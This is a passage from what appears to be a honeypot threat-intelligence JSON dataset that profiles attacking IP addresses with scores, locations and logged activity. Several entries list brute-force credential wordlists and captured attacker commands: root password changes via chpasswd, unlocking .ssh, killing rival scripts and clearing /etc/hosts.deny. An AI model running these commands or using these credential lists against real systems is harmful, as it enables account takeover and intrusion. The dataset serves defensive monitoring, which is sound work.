        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": null,
      "asn": 216300,
      "as_org": "Closed Joint Stock Company AbkhazMedia",
      "threat_score": 52.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.8,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 479,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T20:22:46.281000+00:00",
        "last_seen_30d": "2026-05-30T17:33:35.181000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 384,
        "Suricata": 95
      }
    },
    "177.229.197.38": {
      "attack_count": 382,
      "first_seen": "2026-05-15T05:40:53.053Z",
      "last_seen": "2026-05-21T11:57:59.327Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "shen",
        "socks",
        "yu",
        "fan",
        "guest",
        "kazuki",
        "mysqld",
        "user",
        "wangluo",
        "zhihu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "1993",
        "R00t",
        "Winter2024",
        "apex123",
        "fan123",
        "gonghao123",
        "hitachi",
        "master",
        "mysqld",
        "nanjing",
        "shen",
        "socks",
        "starhub",
        "wangluo",
        "wx123456",
        "yu123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:u0RyleVTrp6X\"|chpasswd|bash",
        "echo \"shen\\nMyBx5ohVYQQY\\nMyBx5ohVYQQY\\n\"|passwd",
        "echo \"socks\\nfUcPfroPMU7h\\nfUcPfroPMU7h\\n\"|passwd",
        "echo \"yu123\\nSdGe4MZ5dwYh\\nSdGe4MZ5dwYh\\n\"|passwd",
        "echo -e \"shen\\nMyBx5ohVYQQY\\nMyBx5ohVYQQY\"|passwd|bash",
        "echo -e \"socks\\nfUcPfroPMU7h\\nfUcPfroPMU7h\"|passwd|bash",
        "echo -e \"yu123\\nSdGe4MZ5dwYh\\nSdGe4MZ5dwYh\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tapachula",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:40:53.053000+00:00",
        "last_seen_30d": "2026-05-21T11:59:01.555000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 382,
        "Suricata": 65
      }
    },
    "124.251.110.186": {
      "attack_count": 343,
      "first_seen": "2026-05-18T01:53:38.610Z",
      "last_seen": "2026-05-22T03:44:10.235Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "tommy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111111Aa",
        "1qaz1QAZ",
        "20232023",
        "4rfv$RFV",
        "Asd123456",
        "Johannes",
        "Killer123",
        "King@123",
        "Manager1",
        "Oracle@123",
        "Qw123456",
        "Xl123456",
        "ac1ff3750cb1a60a561af107a6dfec2a1",
        "articon",
        "asdf@1234",
        "bl4st3r",
        "fulgercsmode123",
        "gators"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:EbxKcMqHzLWB\"|chpasswd|bash",
        "echo \"root:WsoHh6xJDKBS\"|chpasswd|bash",
        "echo \"root:eCnRlanXcBji\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4835,
      "as_org": "China Telecom Group",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.3,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 428,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T01:53:38.610000+00:00",
        "last_seen_30d": "2026-05-22T03:45:20.527000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 343,
        "Suricata": 85
      }
    },
    "15.204.225.76": {
      "attack_count": 260,
      "first_seen": "2026-05-21T15:13:48.654Z",
      "last_seen": "2026-05-21T15:39:34.100Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chen",
        "container",
        "azure",
        "cf",
        "ftp",
        "fuwuqi",
        "lan",
        "ovh",
        "qq",
        "socks",
        "squid",
        "support",
        "terraform",
        "xiaomi",
        "xue"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "19900101",
        "555555",
        "Feb2024",
        "azure",
        "dianping",
        "ftp",
        "fuwuqi",
        "jianhang",
        "lan123",
        "ovh",
        "password",
        "qq123456",
        "socks",
        "squid123",
        "staff123",
        "terraform",
        "xiaomi"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nQIrVG7GsT1v2\\nQIrVG7GsT1v2\\n\"|passwd",
        "echo \"root:f8fgynqRYibz\"|chpasswd|bash",
        "echo -e \"password\\nQIrVG7GsT1v2\\nQIrVG7GsT1v2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 319,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T15:13:48.654000+00:00",
        "last_seen_30d": "2026-05-21T15:40:39.195000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 260,
        "Suricata": 59
      }
    },
    "198.12.90.75": {
      "attack_count": 236,
      "first_seen": "2026-05-18T17:48:13.130Z",
      "last_seen": "2026-05-18T18:12:57.474Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0815",
        "1101",
        "123456qq!",
        "123987",
        "159357",
        "1989",
        "26262626",
        "54321",
        "Huawei12#$",
        "PlcmSpIp123",
        "app123",
        "bbbbb",
        "juliette",
        "laila",
        "lei",
        "lubuntu",
        "melanie123",
        "rohit"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6qCrSeoqhTzI\"|chpasswd|bash",
        "echo \"root:SioG7bHj4D9m\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:48:13.130000+00:00",
        "last_seen_30d": "2026-05-18T18:14:07.156000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "179.108.89.216": {
      "attack_count": 228,
      "first_seen": "2026-05-18T21:46:43.161Z",
      "last_seen": "2026-05-22T20:32:06.794Z",
      "sessions": 114,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Goi\u00e2nia",
      "asn": 263269,
      "as_org": "RAGTEK TECNOLOGIA",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 343,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:46:43.161000+00:00",
        "last_seen_30d": "2026-05-22T20:33:15.431000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 228,
        "Suricata": 115
      }
    },
    "144.79.187.25": {
      "attack_count": 219,
      "first_seen": "2026-05-06T11:18:32.180Z",
      "last_seen": "2026-05-06T11:48:52.399Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "postgres",
        "root",
        "vmuser",
        "345gs5662d34",
        "appadmin",
        "cactiuser",
        "debian",
        "deployer",
        "developer",
        "ec2-user",
        "ftpuser",
        "oracle2",
        "puser",
        "scpuser",
        "steam",
        "testuser",
        "ts3srv",
        "user0"
      ],
      "passwords_attempted": [
        "!QAZ2wsx#EDC",
        "12",
        "123",
        "123456",
        "123qwe",
        "123qweASD",
        "123zxc",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123",
        "P@ssw0rd1",
        "Welcome#12345",
        "Welcome123$%^",
        "admin#@!",
        "cactiuser123",
        "changeme",
        "database",
        "depl0y3r",
        "football",
        "oracle2"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"vmuser\\nv9nNPkda2cDu\\nv9nNPkda2cDu\\n\"|passwd",
        "echo -e \"vmuser\\nv9nNPkda2cDu\\nv9nNPkda2cDu\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138000,
      "as_org": "PT Antar Fiber Optik",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:18:32.180000+00:00",
        "last_seen_30d": "2026-05-06T11:50:00.744000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 69
      }
    },
    "202.70.78.237": {
      "attack_count": 216,
      "first_seen": "2026-05-29T06:43:55.852Z",
      "last_seen": "2026-05-29T07:13:48.387Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "dev",
        "elaine",
        "git",
        "huawei",
        "leandro",
        "runner",
        "support",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Huawei12#$",
        "Hy123456",
        "P@44w0rd",
        "P@ssw0rd",
        "Qwer4321",
        "Root12345678",
        "admin",
        "admin123",
        "fjbdfdjkdsfs541544",
        "git2025",
        "leandro",
        "q123q123",
        "test",
        "vpn1234",
        "wkdskfk",
        "yz.123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:8dH3KliCvosB\"|chpasswd|bash",
        "echo \"root:rUm0nHH2V0r8\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Nepal",
      "country_code": "NP",
      "city": null,
      "asn": 23752,
      "as_org": "Nepal Telecommunications Corporation, Internet Services",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T06:43:55.852000+00:00",
        "last_seen_30d": "2026-05-29T07:14:48.623000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 46
      }
    },
    "113.221.12.241": {
      "attack_count": 196,
      "first_seen": "2026-05-19T06:57:06.851Z",
      "last_seen": "2026-05-19T17:33:20.986Z",
      "sessions": 98,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 305,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:57:06.851000+00:00",
        "last_seen_30d": "2026-05-19T17:34:23.721000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 109
      }
    },
    "45.88.0.252": {
      "attack_count": 174,
      "first_seen": "2026-05-08T12:12:47.468Z",
      "last_seen": "2026-05-31T23:44:36.897Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "British Virgin Islands",
      "country_code": "VG",
      "city": null,
      "asn": 208949,
      "as_org": "Hbing Limited",
      "threat_score": 55.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.1,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 203,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:12:47.468000+00:00",
        "last_seen_30d": "2026-05-31T23:45:44.231000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 87
      }
    },
    "101.36.106.162": {
      "attack_count": 148,
      "first_seen": "2026-05-27T23:31:56.623Z",
      "last_seen": "2026-05-28T00:03:51.661Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "daniel",
        "345gs5662d34",
        "admin",
        "almacen",
        "ftptest",
        "sanjay",
        "sopuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "!QAZ2wsx#EDC4rfv",
        "1111",
        "1234",
        "123456!@",
        "123qwe!!!",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc@12345678",
        "Bismillah@123",
        "Bx123456.",
        "Changeme_123",
        "aa",
        "abc.123456",
        "almacen",
        "fjbdfdjkdsfs541544",
        "poi",
        "sanjay",
        "test"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:d6eXWZ8VeY5E\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T23:31:56.623000+00:00",
        "last_seen_30d": "2026-05-28T00:04:59.857000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 41
      }
    },
    "113.193.234.210": {
      "attack_count": 143,
      "first_seen": "2026-05-29T19:13:36.372Z",
      "last_seen": "2026-05-29T19:40:11.004Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "apolo",
        "foundry",
        "jenkins",
        "odoo12",
        "sdtd",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1029384756",
        "1234560",
        "3245gs5662d34",
        "345gs5662d34",
        "Jenkins@123",
        "P@ssword123!",
        "Qwerty12345678",
        "Yr123456",
        "alex1234",
        "alireza",
        "apolo",
        "foundry",
        "odoo12",
        "qwe123!@#",
        "root666",
        "rzx@1218",
        "sdtd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:b7Oqya0vizX5\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 45528,
      "as_org": "Tikona Infinet Ltd.",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T19:13:36.372000+00:00",
        "last_seen_30d": "2026-05-29T19:41:17.181000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 39
      }
    },
    "27.6.251.35": {
      "attack_count": 118,
      "first_seen": "2026-05-23T07:52:59.608Z",
      "last_seen": "2026-05-23T14:04:28.248Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ghaziabad",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:52:59.608000+00:00",
        "last_seen_30d": "2026-05-23T14:05:35.728000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 59
      }
    },
    "31.42.184.158": {
      "attack_count": 118,
      "first_seen": "2026-05-09T12:54:03.572Z",
      "last_seen": "2026-05-31T14:33:08.997Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 30860,
      "as_org": "Virtual Systems LLC",
      "threat_score": 52.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T12:54:03.572000+00:00",
        "last_seen_30d": "2026-05-31T14:34:17.226000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 60
      }
    },
    "116.207.113.238": {
      "attack_count": 114,
      "first_seen": "2026-05-23T08:02:36.516Z",
      "last_seen": "2026-05-23T14:02:23.537Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:02:36.516000+00:00",
        "last_seen_30d": "2026-05-23T14:03:30.270000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 62
      }
    },
    "31.58.144.12": {
      "attack_count": 102,
      "first_seen": "2026-05-05T02:48:39.011Z",
      "last_seen": "2026-05-31T19:26:53.467Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 55.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
